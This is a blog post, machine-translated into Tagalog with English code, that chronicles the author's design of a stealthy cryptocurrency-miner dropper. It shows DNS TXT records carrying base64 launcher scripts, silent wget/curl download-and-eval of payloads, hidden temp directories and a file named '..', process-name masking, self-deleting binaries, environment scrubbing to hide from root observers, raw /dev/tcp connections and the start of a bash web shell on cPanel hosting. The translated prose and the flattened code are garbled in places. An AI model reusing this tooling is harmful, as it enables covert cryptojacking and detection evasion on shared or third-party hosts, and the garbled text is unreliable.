•  untoreh-light

Chronicles ng isang dropper ng cryptonote

... Gaano kalayo ang nais mong puntahan para sa ... mga pennies?

Ipagpalagay na nais mong mina cryptocurrency sa remote virtual hardware. Kailangan mong maghanap ng sa akin. Ang mga malayuang server ay nangangahulugang, hindi ASICS o GPU patunay ng mga algorithm sa trabaho, karaniwang lamang Mga barya na palakaibigan sa CPU.

Ang software

Maghanap at hanapin ang a minero , ngunit ito ay hindi talaga maganda, gugustuhin mo ang isang bagay na mas mahusay mong makontrol mula sa malayo, upang makita mo ibang minero . Gusto mo din a proxy , dahil maraming mga koneksyon ay maikli, hindi mo nais dos ang mining pool mo. Isa ding lagusan magiging maganda.

Ang disenyo

Ang ilang mga botnet ay gumagamit ng data ng mga blockchain upang maghanap ng mga utos, isang tao lilitaw din na mayroon nawalan ng pusta sa hindi ito nangyayari muli ... gayon pa man hindi kami ganoon ka sopistikado, makakarating kami sa ilang mga tala ng DNS na nag-iimbak ng isang script na kumukuha ng kargamento kung aling sarili ang kumukuha sa isang direktoryo ng temp na nagpapatupad at umalis halos walang mga bakas ng pag-set up nito. Narito ang isang maliit na tsart ng daloy na naglalarawan ng istraktura

Launcher

Ang punto ng isang startup script ay upang ma-access at madaling ma-update tulad ng na makatiis sa pagsubok ng oras. Nag-a-update DNS madali ang mga talaan, at ang DNS ay ang huling bagay na nakakakuha ng pag-shutdown sa loob ng isang network..dahil ang mga IP address ay mahirap tandaan ... kaya't ang mga pagkakataong ito ay magiging magagamit sa lahat ng mga oras. Kita mo kapag tayo pagkuha ng iskrip ng paglawaktalagang nagpapatakbo kami ng ilang lohika, ito ang launcher script, kailangan nito ng kakayahang magsagawa ng mga query sa DNS upang maghanap ng aming mga talaan, maaaring nasa lahat ng lugar ang DNS ngunit maghukay ay hindi.

Mayroong kaunting isang pagpapakaabala dito, kung kailangan naming mag-download ng isa pang tool upang mag-download ng isa pang script upang mai-download ang payload dapat lang natin i-download ang payload! Sa pagtatanggol ... ang paggawa ng masusulat na sayaw na ito ay nagdaragdag sa pagkalito, pinapayagan na mapanatili lamang ang isang pagpapatupad ng launcher (mapanatili, oo), hindi kinakailangan ng karamihan sa mga oras..kaya nagsisilbi din kami statically naka-link maipatupad upang maisagawa ang mga query sa dns, nakuha sa pamamagitan ng sariling pag-host, o cloud hosting (oo may mga fallback, tulad ng 3 o 4, dahil ang mga serbisyo sa cloud ay may napakaliit na libreng bandwidth, at nangangailangan din ng cookies o pag-access ng mga token ... napaka script nila hindi magiliw, sadyang kaya, syempre).

Ano ang nasa mga tala ng dns? Ginagamit namin TXT mga talaan, sa isang pasadyang domain (mga fallback din dito). Bakit TXT? mangyari na ang mga iyon ay maaaring mag-imbak ng pinakamalaking dami ng data..karaniwan dahil ito ay uri ng inirekomenda depende sa mga bagay . Partikular naming ginagamit cloudflare para sa aming DNS fiddling dahil libre ito, at halos ang nag-iisang manlalaro sa bayan ( well hindi talaga ngunit anumang iba pang mga alternatibong pales tampok matalino ). Ito ay nangyayari na maaari kang mag-imbak ng maraming mga piraso ng data sa pareho record ... nagsisimula itong makakuha ng nakalilito at pag-aagawan para sa ilang mga pagtutukoy ... (tangent) Cloudflare dati payagan nakakadenaAng mga tala ng TXT na kabuuan ~ 9k bytes, isinasaad ng mga doc ngayon ~ 2k bytes, bago ang pagbabago na ginagamit ko ~ 6k Sa palagay ko, at hinahatid ang script na hindi na-compress, pagkatapos nito ay kailangan kong manipis ang script at i-compress ito bago iabot ang kamay (talagang ako sinubukan gamitin ang a mga kalayaan provider, pinagbawalan ako sa loob ng isang araw, hulaan na mayroon silang isang mahigpit na patakaran sa mga tala ng TXT na walang taba), subalit ang compression ng gzip ay lilitaw na HINDI magiging palakaibigan sa tubo at nagdudulot pa rin ng mga problema, kaya't kailangang pamahalaan ang pag-cram ng script nang walang compression ( pagtatapos tangay).

Paano natin ito maiimbak? Sinusuportahan lamang ng mga tala ng TXT ang mga string ng alphanumeric, hindi Mga NUL , kaya kailangan nating balutin ito sa isang hindi null na pag-encode, base64 nasiyahan ang pagpipigil na ito, at dahil nag-iimbak kami nakakadena Ang mga tala ng TXT, kailangan nating putulin ang output, dahil gumagamit kami ng mga bagay na shell, tapos ito sa pamamagitan ng-w flag, sa busybox tulad ng bandila dati na wala (o opt-in) sa mga mas lumang bersyon na nakakainis, isang kahalili ay ang paggamit ng encoder na naka-bundle ng openssl,openssl enc -base64.

Ngayon alam na namin kung paano iimbak ang aming script ng paglawak ay iniimbak namin ito sa alinman cf kli o mano-mano. Paano natin ito hinuhugot? Nabanggit namin na kailangan namin ng mga bindutil o sa amindig ... pagkatapos mapili ang paghahatid ng endpoint, nais naming i-download ito, karaniwang magagamit ang magagamit wget o kulot , ang wget ay natagpuan na na-preinstall nang mas madalas, subalit ang busybox ay nagbibigay lamang ng suporta sa tls sa mga pabagu-bagong aklatan, kaya't tiyakin mong ang endpoint ay naghahatid ng http o ang iyong utility aywget mula sa gnu-utils

# the wget command
wget -t 2 -T 10 -q -i- -O- > $filename <<< "$digurl"

Ibig sabihin subukan-t2 oras na naghihintay-T10 segundo na-q tahimik na pagbabasa mula-i- stdin ($digurl ) at pagsusulat sa-O- stdout ($filename). Hindi isiniwalat ng utos na ito kung ano ang nai-download namin sa unang tingin. Kami ay magiging maingat sa iba pang mga utos ng shell para sa parehong dahilan, o nananatili sa shell ( bash ) built-in kung posible. Pag-alagaan din ang tungkol sa kung saan mo nai-download ang iyong mga naipapatupad, nais mong matiyak na maaari mong maisagawa ang mga ito, dahil ang ilang mga mount point, lalo na sa mga lalagyan attmp mga landas aynoexec . Ngayon na mayroon kaming aming tool sa pag-query ng dns kinuha namin ang aming mga talaan

dig txt ${record}.${zone} +short +tcp +timeout=3 +retries=0 $dnsserver

Ang mga watawat ay nagpapaliwanag dito,+short nangangahulugan lamang na interesado lamang kami sa mismong data, upang hindi namin mai-parse ang output. Mahalagang tukuyin ang DNS server, tulad ng google (8.8.8.8 ) o cloudflare (1.1.1.1 ) iyan sapagkat maraming mga kapaligiran ang nagre-redirect o nag-uudyok ng mga query ng dns sa kanilang sariling mga server ng dns bilang default. Matapos makuha ang chunked script ay nakikipag-usap kami sa mga quote at whitespaces upang gawin itong handa para sa pag-decode

data=${data//\"}# remove quotes
data=${data// }# remove whitespacedeclare -a ar_data
for l in$data; do
    ar_data[${l:0:1}]=${l:1}# iterate over each line and remove the first charactherdone
data=${ar_data[@]}# join all the lines
data=${data// }# ensure joining didn't add whitespace# decode
launcher=$(echo"$launcher" | $b64 -d -w $chunksize)

Paano kung ngayon tayo pa rin wala ang launcher natin? Magulo ang DNS, gusto namin ng isang fallback, hinahayaan ang pag-set up ng isang subdomain upang direktang makuha ang launcher script. Bago suriin ang aming script nais naming ipasadya ito, na may ilang mga variable, muling hinahayaan na gumamit ng isang tala ng TXT upang mag-imbak ng isang NAME = VALUE listahan ng mga variable at i-parse ito. Mayroon ding fallback para sa mga variable, nag-aalok ang cloudflare ng mga pag-redirect batay sa mga URL, hinahatid ang mga pag-redirect na ito dati pa ang patutunguhan, kaya hindi namin kailangan ng isang endpoint, nais lang naming i-configure ang mga patakaran sa pag-redirect ng regex batay sa isang kathang-isip na endpoint, kung ano ang interesado kami ay ang mga parameter ng url?NAME=VALUE&NAME2=VALUE2..., upang maaari naming parametrize ang aming launcher sa pamamagitan lamang ng pagbabago ng redirect url, palaging may pansin sa pag-quote at makatakas na mga code

## m1 also important to stop wget
pl_vars=$(echo"$token_url" | wget -t 1 -T 3 -q -i- -S 2>&1 | grep -m1 'Location')
pl_vars=${pl_vars#*\/}
pl_vars=${pl_vars//\"&/\" }
pl_vars=${pl_vars//%3F/\?}

Ang wget-S naka-print ang redirect url na interesado kami para sa pag-parse. Ang pagkakaroon ng mga parameter at script, sinusuri namin ang mga variable na sumusulat sa kanila sa isang file

eval"$pl_vars"echo"export \
$pl_vars \
$ENV_VARS \
">env.sh

Ang file na ito ay mapagkukunan ng ay deploy script. Ang huling bahagi ng startup script ay upang aktwal trampolin , suriin ang script sa loob ng kasalukuyang proseso ng shell, o baka hayaan itong pamahalaan ng tmux kung maaari.

# printf preserves quoteseval"$(printf '%s' "$launcher")" &>/dev/null
# or tmuxecho"$launcher" > ".. "
tmux send-keys -t miner ". ./\".. \"" Enter

Ang launcher script ay itinapon sa isang file na nagngangalang ".." mukhang nakalilito ito dahil maaaring mapagkamalan itong isang magulang direktoryo At hindi namin isinasama ang utos ng sesyon, dahil tatagal ito sa proseso ng utos, sa halip ay sinisimulan muna namin ang sesyon ng tmux at ipinapadala ang pinagmumulang utos sa pamamagitan ng interface ng terminal ng tmux. Kaugnay nito, kung minsan ay tumatawag sa isang maipapatupad na./ pinapanatili ang mga chars na iyon sa utos, kaya mas mahusay na idagdag ang$PWD sa daanan ..PATH=$PWD:$PATH.

Ang Payload

Ang aming pag-deploy na script ay nagsisimula sa pamamagitan ng pagkuha ngenv.sh file, at pinapanatili o na-configure ang mga vars bilangSTARTING_* mga vars gusto

STARTING_PATH=${STARTING_PATH:-$PATH}
STARTING_PID=$BASHPID

Pinapayagan kaming patayin at muling simulan ang isang tumatakbo na halimbawa habang itinatakda ang kapaligiran. Hinahayaan lumipat sa isang direktoryo ng tmp na may mga kakayahan ng exec

# out local subdirectory
pathname=$(printf".%-$((RANDOM%9+1))s"for ph in {/tmp,/dev/shm,/run,/var/tmp,/var/cache,~/.local,~/.cache,~/}; do
    rm -rf "$ph/$pathname" &&
        mkdir -p "$ph/$pathname" &&
        tmppath="$ph/$pathname" &&
        is_path_executable "$tmppath" &&
        export PATH="${ph}/$pathname:${PATH}" tmppath &&
        breakdone
[ -n "$tmppath" ] && cd"$tmppath"

Sinusuri kung sa loob ng a lalagyan ay madaling gamitin din, maaari naming siyasatin ang filesystem para sa mga pahiwatig

c=$(builtin compgen -G '/etc/cpa*')
d=$(builtin compgen -G '/dev/*')
s=$(builtin compgen -G '/sys/*')
p=$(builtin compgen -G '/proc/*')
jail=
if [ -n "$c" -o -z "$d" -o -z "$s" -o -z "$p" ]; then## we are in a jail
    jail=1
fi

Ngayon ay oras na upang i-download ang aming payload, pinili namin na suportahan ang parehong wget at curl, alam na namin kung paano gamitin ang wget na may maingat na mga flag, para sa kulutin ito ay medyo kakaiba. Kailangan naming lumikha ng isang config file, at i-overrideCURL_HOME

echo"url = $uri
output = ${name}${format}
connect-timeout = 10
" > .curlrc
CURL_HOME=$PWD curl -sOL

Ang huling hakbang ay upang makuha lamang ang payload

type unzip &>/dev/null &&
    format=".zip" extract="unzip -q" ||
        format=".tar.gz" extract="tar xf"

Ito ay nagkakahalaga ng pagbanggit ng paggamit ng isang [CDN] para sa paglilingkod sa payload. Narito muli ang cloudflare sa pagsagip ay nakakatipid sa amin mula sa paggasta ng bandwidth. Sa pamamagitan lamang ng pagpapalit ng pangalan ng aming naka-compress na payload gamit ang a extension ng file suportado ng cloudflare ... nagiging cache ito. Hindi tinitingnan ng Cloudflare ang mga header ng kung ano ang ibinibigay nito, marahil dahil ang paggawa nito sa sukat na iyon ay simpleng hindi praktikal.

Ang mga pakikipagsapalaran sa Bashland

Napili ang Bash gamit ang palagay na portable, hindi masyadong wala sa lugar at higit na nasa lahat ng lugar kumpara sa iba pang mga wika ng scripting tulad ng perl, ruby ​​o python. Ang totoo ay ang isang nakapag-iisang binary na nakasulat sa golang o lua ay magiging mas madali, na may mas kaunting mga bug, at mas madaling mapanatili, karaniwang bash ay ang pinakamasamang pagpipilian na posible, sa aking pagtatanggol, sa oras na nag-scrat ako ng maraming mga itches na may bash , huli na para sa isang muling pagsulat, at nakakakuha rin ng uri ng pagbubutas.

Mayroon ding pagpipilian na gumamit ng busybox na may compile time flag upang magamit ang lahat ng mga builtin (tulad ng grep at sed), gayunpaman ang paggamit ng builtins sa ganitong paraan ay hindi pinapayagan na itlog ang mga trabaho (tinidor) at ilalantad ang daemon sa mga potensyal na deadlocks.

Ilalarawan ko ang ilang mga pag-andar ng bash dito, na may magagamit na buong listahan dito

## echo a string long $1 of random lowercase charsrand_string() {
    local c=0
    while [ $c -lt $1 ]; doprintf"\x$(printf '%x' $((97+RANDOM%25)))"
        c=$((c+1))
    done
}

Gamitin angRANDOM variable upang makakuha ng isang numero sa pagitan ng 97-122 na naaayon sa isang character code, ang printf ay dapat na isang builtin, hindi namin nais na tinidor sa loob ng isang loop.

## make a new file descriptor named $1newfd() {
    eval"local fd=\${$1}"eval"exec $fd>&-" &>/dev/null
    local pp=".$(rand_string 8)"
    mkfifo $ppunset"$1"eval"exec {$1}<>$pp"# unlink the named pipe
    rm -f $pp
}

Mga leverage na tubo upang lumikha ng mga hindi nagpapakilalang mga tagapaglaraw ng file, ang mga ito ay hindi kumikilos nang eksakto tulad ng mga tagapaglaraw ng file ngunit sapat ang mga ito para sa IPC.

## https://unix.stackexchange.com/a/407383/163931fleep()
{
    # log "fleep: called by ${FUNCNAME[1]}"
    [ -n "${_snore_fd}" -a "$1" != 0 ] ||
        newfd _snore_fd
    # log "fleep: starting waiting with ${_snore_fd}"if ! command >&${_snore_fd}; then
        newfd _snore_fd
    firead -t ${1:-1} -u $_snore_fd# log "fleep: ended"
}

Natutulog nang walang forking, sa pamamagitan ng pag-abuso sa pag-andar ng timeout ng nabasang builtin, gumagamit ito ng isang nakalaang tagapaglarawan ng file at dapat nating tiyakin na magagamit ito upang maiwasan ang pagwawakas.

Mayroong mga pagpapaandar tuladget_pid_stats, usgmon_prc, proc_usg_u, cpumon, loadmon ay ginagamit upang subaybayan ang paggamit ng system, ginagamit ng lahat ang linux/proc mga file na walang tool tulad ngps , kaya walang forking, lahat puro bash.

start_coproc() {
    localunsetwhile :; doif [ "$1" = exec ]; then
            coproc_name="$2"else
            coproc_name="$1"fiif [ -n "$UNSET_COPROC_VARS" ]; thenunset="unset $UNSET_COPROC_VARS;"filog"starting coproc $coproc_name"unset -v "$coproc_name"## only the variable, not functionseval"coproc $coproc_name { $unset $*; }"# 2>/dev/nullunset UNSET_COPROC_VARS
        wait_coproc "$coproc_name" 3 && breakdone
}
stop_coproc() {
    ## clear fds
    id_coproc "$1" && [ -n "$job_n" ] && eval"kill -${2:-9} %$job_n" ||
        { eval"kill -${2:-9} \${${1}_PID}"; } ||
        { log"could not kill the specified coprocess with job $job_n" && return 1; }
}

Magagamit ang mga Coprocess mula pa noong bashv4 , ang mga ito ay tulad ng mga trabaho maliban kung mayroon silang isang pangalan at kanilang sariling mga tagapaglaraw ng file.

## clear file descriptorsclear_fds() {
    local fd
    for fd in $(compgen -G "/proc/$BASHPID/fd/*"); do
        fd=${fd/*\/}if [[ ! " $* " =~ " ${fd} " ]]; thencase"$fd"in
                    0|1|2|255|"$_snore_fd")
                    ;;
                    *)
                        eval"exec $fd>&-"
                        ;;
                esacfidone
}

Nagsusulat kami ng isang daemon, na kung saan ay isang mahabang buhay na proseso, at gumagamit kami ng maraming mga tagapaglaraw ng file, nais talaga naming gumawa ng ilang mga paglilinis upang maiwasan ang mangyari ulimits.

## queries ipinfo and gets the current ip and country/regionparse_ip ()
{
    export ip country region;
    [ ! -e cfg/geoip.json ] && log"geolocation codes file not found." && return 1;
    ipquery=$(http_req ipinfo.io);
    [ -z "$ipquery" ] && log"failed querying ipinfo" && return 1;
    before_after 'ip\": \"'"$ipquery"'\"';
    ip=$(echo$after);
    [ -z "$ip" ] && log"failed parsing ipinfo data ip" && return 1;
    before_after 'country\": \"'"$ipquery"'\"';
    country=$(echo${after,,});
    [ -z "$country" ] && log"failed parsing ipinfo data country" && return 1;
    whileread l; doif [ "${l}" != "${l/\": {}" ]; then
            before_after '"'"$l"'"';
            lastregion=$(echo$after);
        elseif [ "${l}" != "${l/\"${country}\"}" ]; then
                region=$lastregion;
                break;
            fi;
        fi;
    done < cfg/geoip.json
}

Ang pagpapaandar na ito ay umaasa ipinfo upang matukoy ang rehiyon ng manggagawa, na nagbibigay-daan upang ibagay ang ilang lohika na umaasa sa rehiyon, geoip.json pinapangkat ang mga bansa sa mga rehiyon, dahil nais namin ang nangungunang antas na rehiyon, at hindi interesado sa tukoy na bansa.

# try to open a connection to host $1 with port $2 and output to $3open_connection() {
    exec {socket}<>/dev/tcp/${1}/${2} 2>/dev/null
    echo$socket >&${3}
}

## check if a tcp connection to $1=$HOST $2=$PORT is successfulcheck_connection() {
    local host=$1 port=$2 conn_socket=
    [ -z "$host" ] && { echo'no host provided'; return 1; }
    [ -z "$port" ] && { echo'no port provided'; return 1; }
    newfd conn_socket
    timeout 3 open_connection $host$port$conn_socket# read the fd of the opened connection from the conn_socket fd and close it
    read_fd $conn_socket avl -
    if [ -n "$avl" ]; then# close connectioneval"exec ${avl}<&-" &>/dev/null
        return 0 ## connection can be establishedelsereturn 1 ## connection can't be establishedfi
}

Ang Bash ay may suporta para sa mga koneksyon sa tcp, sa pamamagitan ng pagkakaroon ng isang abstraction/dev/tcp (para din sa udp, ngunit karamihan ay tila karaniwang hindi pinagana sa oras ng pagbuo, kaya hindi mo ito maaasahan). Ang mga file na ito ay isang bash bagay, hindi sila bahagi ng linux/dev puno.

Sulit na banggitin din ang isang locking system upang mahawakan ang pagsabay sa pagitan ng mga bash na trabaho. Upang pahintulutan ang maraming trabaho na gumana sa mga kandado kailangan nilang lahat na magbahagi ng isang deskriptor ng file, sa gayon ang aminglocker na isang trabaho din, ay dapat na magsimula bago ang ibang mga trabaho na nais na gamitin ang lock. Ang locker ay simpleng nagbabasastdin naghihintay para sa mga kahilingan sa pagla-lock, pagtugon sastdout nakasalalay sa kasalukuyang estado ng boolean na nakaimbak sa isang variable. Hindi ko ginagarantiyahan na ang diskarte na ito ay walang lahi, ngunit tila gagana nang disente, sa kabilang banda, natagpuan ko ang mga tagapaglaraw ng file na hindi masyadong maaasahan, dahil sa hinala kong may ilang mga buffer na hindi mapula sa isang lugar mga tubo at sa kalaunan ay tumatama sa mga deadlock (na nangangahulugang hindi ka maaaring umasa sa locker na nagbibigay sa iyo ng isang sagot sa lahat ng oras).

## unset bash env apart excluded vars/funcsclear_env(){
    localfunctions=$(declare -F)
    functions=${functions//declare -f }for u in[email protected]; dofunctions=${functions/$u[[:space:]]}functions=${functions/[[:space:]]$u}functions=${functions/[[:space:]]$u[[:space:]]}donelocal vars=$(set -o posix; set | whileread l; doecho${l/=*}; done)
    for u in[email protected]; do
        vars=${vars/$u[[:space:]]}
        vars=${vars/[[:space]]$u}
        vars=${vars/[[:space:]]$u[[:space:]]}doneunset -f $functions &>/dev/null
    unset -v $vars &>/dev/null
    # unset $vars &>/dev/null
}

## unexport most variablesdex_env() {
    exported=$(export -p)
    whileread e; do
        n=${e/declare -*x }
        [ "$n" = "$e" ] && continue## multiline var
        n=${n/=*}case"$n"in"SHELL"|"USER"|"HOME"|"TMUX"|"CHARSET"|"TERM")
                continue
                ;;
            *)
                dexported="$dexported${n/=*}"esacdone <<<"$exported"export -n $dexported
}

Linisin ang iyong basura ... ang mga kumplikadong bash na programa ay nagtatapos sa paggamit ng maraming mga variable, at kung aabuso mo ang pandaigdigang puwang ay namumula ito. Kung ikaw ay pangingitlog ng mga trabaho sa shell, minana nila ang lahat ng kapaligiran (na mabisang nadoble, hindi naibahagi), maaari mong mabilis na mapunta sa pagkain ng bash100M ng memorya, hindi maganda. Gayundin talagang nais naming maging mababang profile. Sa aming sitwasyon sa pag-deploy, ang kalaban[1] maaaring potensyal na magkaroon ng root access at kumpletong impormasyon tungkol sa aming mga proseso[2] , at alam mo ... ang bawat proseso ay nagtataglay ng impormasyon tungkol sa buong utos na nagsimula dito, at ang nai-export na mga variable ng kapaligiran.

Pag-configure

Kapag mayroon na ang aming kapaligiran, at ang aming mga tool, kailangan nating ibagay ang aming minero para sa makina na tumatakbo ito, mga hakbang sa pagsasaayos sa pseudo code:

Ang pagpili ng isang pangalan para sa proseso ay kinakailangan upang tago ang katotohanan na nagpapatakbo kami ng isang minero, ngunit hindi lamang namin pinalitan ang pangalan ng aming binary, mayroon kaming isang listahan ng maskara para sa mga potensyal na kandidato (isang payak na text file kung saan ang bawat linya ay maskara):

Hashrate

, sa paglipas ng panahon, nakakuha ng marami ang upstream miner awtomatikong pag-tune mga tampok, kaya't ginawa itong bahagi ng aking mga script na kalabisan, ngunit ang pagkakaiba sa pagitan ng upstream at downstream dito ay ang upstream na layunin ay upang i-maximize pagganap , habang ang aming layunin ay upang i-maximize kahusayan at pagkalito , hindi namin nais na abutan ang system, nais naming mag-leech nang kaunti nang walang pagkagambala sa serbisyo.[3]

Para sa mga ito, kailangan namin ng higit na granular na pag-unawa sa kapaligiran, angl2/l3 istraktura ng cache ng processor, ram, at mga core, at kasalukuyang processor average load at cpu paggamit. Sinubukan kong bumuo ng isang makina ng estado sa bash na magsisimula mula sa walang bayad na minimum at subukan ang iba't ibang mga pagsasaayos ng dahan-dahan sa pag-aayos sa average na pinakamahusay. Iyon ay napakalaki basura ng pagsisikap na basura sa teknikal na utang napalugi nang mabilis at halos natapon, na may mga labi lamang na nagtatagal sa codebase.

I-frack ang lahat ng ito ng auto tuning jumbo, pinatulog lang namin ang minero depende sa paggamit / pag-load ng host, kinakailangan ng mga pagbabago sa minero na ito sasleep sa pagitan ng mga ani ng mga thread, at ilang pag-aayos sa bantayan ng pagsasaayos[4] , na magpapahintulot sa amin na i-reload ang halagang natutulog sa oras ng pag-runtime. Ang lohika ay mas pinasimple at ganito ang hitsura:

Koneksyon

Sa aming bash roundup ipinakita namin ang mga kagamitan para sa koneksyon. Bakit kailangan natin ang mga ito? Dahil kailangan natin ng pagkakaiba-iba; simpleng hard coding isang endpoint sa pagsasaayos ay hindi magtatagal, kapag ang isang bagay ay mukhang kahina-hinala, at mayroong aktibidad sa network, ang mga IP ay naka-flag.

Sa simula ay nag-eksperimento kami sa isang pares ng mga pamamaraan:

Sa pagtatapos ay naayos namin ang pagpapadala lamang ng isang listahan ng mga endpoint, na nakaimbak sa isang bash variable, pumili ng isa nang sapalaran. Siyempre naka-encrypt ang mga koneksyon. Ano ang mga endpoint na ito? Mga Forwarder sa proxy na hahawak sa mga trabaho ng mga minero.

Bakit kailangan natin ng a mining proxy ? Hindi talaga ako lumipas ~ 100 kasabay na mga koneksyon, kaya't ang isang proxy ay hindi talaga kinakailangan para sa pag-load ng network, ngunit maginhawa para sa pakikipag-ayos sa hash algorithm, at upang magbigay ng iba't ibang mga target sa kahirapan sa iba't ibang mga minero, upang maiwasan ang pagtatrabaho ng mga minero hirap mga target na magtatagal sa kanila ng sobrang oras upang makumpleto at maiwasan ang peligro na maaksaya ang pagkalkula sa mga hindi natapos na trabaho.[5] Ang software ng pool ay nangangailangan din ng ilang mga pagbabago dahil masaya itong nag-a-advertise upang maging isang proxy sa mga payak na kahilingan sa http ... iyon ay dapat na mag-time-out , at isang tinidor na idinagdag ang kontrol sa pag-access sa gayon ay batay kami sa aming mga mod.[6]

Pag-edit kay json

Ang paglalapat ng mga pagbabago sa isang json file na may bash lamang nakuha namin sa pamamagitan ng ilang pagpapalit ng env var, at ilang regex. Sa una ay umaasa kami sa isangenvsubst binary upang mag-apply ng mga variable, pagkatapos ay nagpunta kami buong bash[7] sa lohika na ito:

Bukod sa pag-iwas sa mga sub proseso, ang isa pang kalamangan ay nakakakuha kami ng kumpletong mga kakayahan sa pag-bash sa aming mga template. Para sa pagbabasa at pagsusulat nang walang mga template, kailangan naming umasa sa mga kakayahan sa bash regex:

cc_rgx='( *".*?" *: *)("(.*?)"|([^,]*?)) *(,|.*?\/\/.*?|\n|$)'change_config() {
	local subs
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $cc_rgx ]]
			matches=("${BASH_REMATCH[@]}")
			[ -n "${matches[3]}" -a "${2:0:1}" != "\"" ] &&
				subs="\"$2\"" ||
				subs="$2"
			CONFIG=${CONFIG/${matches[0]}/${matches[1]}$subs${matches[5]}}breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

## output miner config value $1 unquoted
gc_rgx=' *"[^:]+" *: *("(.*?)"|([^,]*)) *(,|.*?\/\/.*?|\n|$)'get_config() {
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $gc_rgx ]]
			[ -n "${BASH_REMATCH[2]}" ] &&
				printf'%s'"${BASH_REMATCH[2]}" ||
				printf'%s'"${BASH_REMATCH[3]}"breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

Pinapayagan lamang kaming mag-edit ng mga solong linya, para sa mga multi-line na entry ay isinasaalang-alang lamang nito ang unang linya..pero sapat na ito para sa aming case ng paggamit.

Runtime

Ano ang hitsura ng aming runtime? Mayroon kaming pangunahing proseso ng bash na nagpapatupad ng pangunahing loop, pagkatapos ng sub-proseso ng minero, sub-proseso ng monitor ng CPU, ang locker at ang tuner. Halos isang dakot iyon.

Una nais naming matiyak na kung may mali, hindi kami nag-iiwan ng gulo, nangangahulugan ito na gumagamit kami ng isang bash trap upang magsagawa ng mga paglilinis sa pagwawakas.

trap"trap - SIGINT EXIT SIGKILL SIGTERM; kill -9 \$(jobs -p); cleanup &>/dev/null ; fleep 10" SIGINT EXIT SIGKILL SIGTERM

trap - ... tinatanggal ang bitag upang maiwasan ang recursion. Pinapatay ng bitag ang lahat ng mga trabaho at tinatanggal ang kapaligiran sa pagtatrabaho.

Panahon na upang simulan ang minero, na nakaimbak bilang isang bash variable sa base64 encoding. Itinapon namin ito sa filesystem, pagkatapos ay itinatapon namin ang config, isinasagawa ang minero, at tinanggal ang parehong minero at ang config. Sa linux maaari mong alisin ang naisakatuparan ng isang tumatakbo na proseso, (sa mga bintana ay hindi ito pinapayagan).[8] Kapag tumatakbo ang minero, sa filesystem mayroon lamang isang.. / direktoryo na may ab64 link sa loob nito

## put a file $1 into a var $2fileToVar(){
    declare -n tmpd="$2" && tmpd=$(b64e "$1") && returnif [ -z "$tmpd" ]; thenlog"gobbling in array"eval"$2=1"## avoid empty checks
        gobbled[$2]=$(b64e "$1")
    elsereturn 1 ## do not quote assignment otherwise ram is not releasedfi
}
## put a var $1 into a file $2varToFile(){
    if [ -n "$VERBOSE" ]; thenifdeclare -n 2>>${VERBOSE} && eval"b64d <<<\"\$$1\" 1>\"$2\" 2>>${VERBOSE}"; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" 1>\"$2\" 2>>${VERBOSE}" && returnfireturn 1
    elseifdeclare -n && eval"b64d <<<\"\$$1\" >\"$2\""; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" >\"$2\"" && returnfireturn 1
    fi
}

Ang isang nakakagulat na quirk na nakatagpo ng bash habang naka-encode ang minero ay ang pagtatalaga ng isang variable na may isang subshell na may mga quotemyvar="$(something)" sanhi ng isang permanenteng pagtaas sa paggamit ng memorya, mahirap i-debug at hindi talaga natagpuan ang dahilan kung bakit ganito ang ugali, gayon pa man ang takdang-aralin ay dapat na ma-unquote. Ang pag-decode sa halip ay tapos na sa herestrings na kung saan ay isang abstraction sa mga pansamantalang file, ang variable ay itinapon sa isang file na pagkatapos ay nai-tubo pabalik sa proseso.

Matagal nang tumatakbo ang loop ng minero:

Ang linya ng output ay naitugma laban sa ilang regex:

act_rgx='(accepted|speed|paused|algo:|-> update config|-> publish config|-> trigger restart|\[CC\-Client\] error|Error: \"\[Connect\]|POOL #1:      \(null\))|not enough memory|self-test failed|read error|cpu  disabled'

Hawak ng daemon ang mga kaso kung saan

Para sa isang habang mayroong suporta para sa command and control dashboard, na pinapayagan na mag-trigger ng manu-manong pag-restart, subalit dahil kaunti ang paggamit nito ay itinapon ito, at ang mga endpoint nito ay pinalitan ng isang alternatibong koneksyon sa pool, pati na rin ang proseso ng pag-restart ay hindi matatag, kumplikado. ..isa pang halimbawa ng tech debt. Gayunpaman pinapayagan itong kumuha muli ng isang na-update na kargamento at muling i-set up ang lahat ng mga pagsasaayos sa mabilisang, na kung saan ay medyo cool, ang panghuli trampolin.

Pagde-debug

Mayroong tatlong pangunahing mga utility

Mga target na pag-deploy

Ang setup na ito ay nasubukan sa 3 uri ng mga host:

Mga lalagyan na naka-host sa sarili o VM

Maraming mga tagabigay ng hosting ang hindi gusto ang pagmimina dahil ang mga mapagkukunan ng CPU ay madalas na maibahagi sa maraming mga gumagamit, at ang software ng pagmimina ay madaling makapagpabagal sa isang host node na nakakaapekto sa pagganap para sa natitirang mga gumagamit. Maaari itong totoo kahit na ang oras ng gumagamit ng CPU ay walang limitasyong, dahil ang pag-hash ng mga algorithm ay maaaring mababad ang lahat ng mga layer ng cache ng CPU kung ang cache ay ibinahagi sa lahat ng mga core ng CPU.

Nais naming gamitin ang aming patas pagbabahagi ng mga mapagkukunan nang hindi pinagbawalan, iyon ay isang mahusay na use-case para sa aming stealth dropper dahil alam nito ang paggamit ng host, na nangangahulugang ito dapat manatiling uri ng loob ng [AUP]. Walang labis na mga hakbang kapag nakikipag-usap sa mga naka-host na self-deployment, ang launcher script lamang, maaaring idinagdag sa pagkakasunud-sunod ng boot o manu-manong inilunsad.

batay sa cPanel web hosting

Ang mga plano sa pag-subscribe sa web hosting ay halos inaalok sa pamamagitan ng [cPanel]. Muli dito gumagamit kami ng mga personal na plano sa subscription na may makatwirang mga limitasyon sa mapagkukunan, sa kabilang banda ang anumang libreng plano ay may katawa-tawa na mga limitasyon[9] . Pinapayagan ka ng cPanel na tukuyin ang mga handler para sa iba't ibang mga extension ng file, pinapayagan kaming magpatupad ng mga shell script sa pamamagitan ng cgi na may kahilingan sa http laban sa isang shell script na na-upload sa server. Ang ganitong uri ng mga interface ay ang hitsura ng mga web-shell[10] . Isang simpleng bash web shell

# without content encoding the request response won't be honoredecho -e 'Content-Type: text/plain\n'
SERVER_NAME=myserver
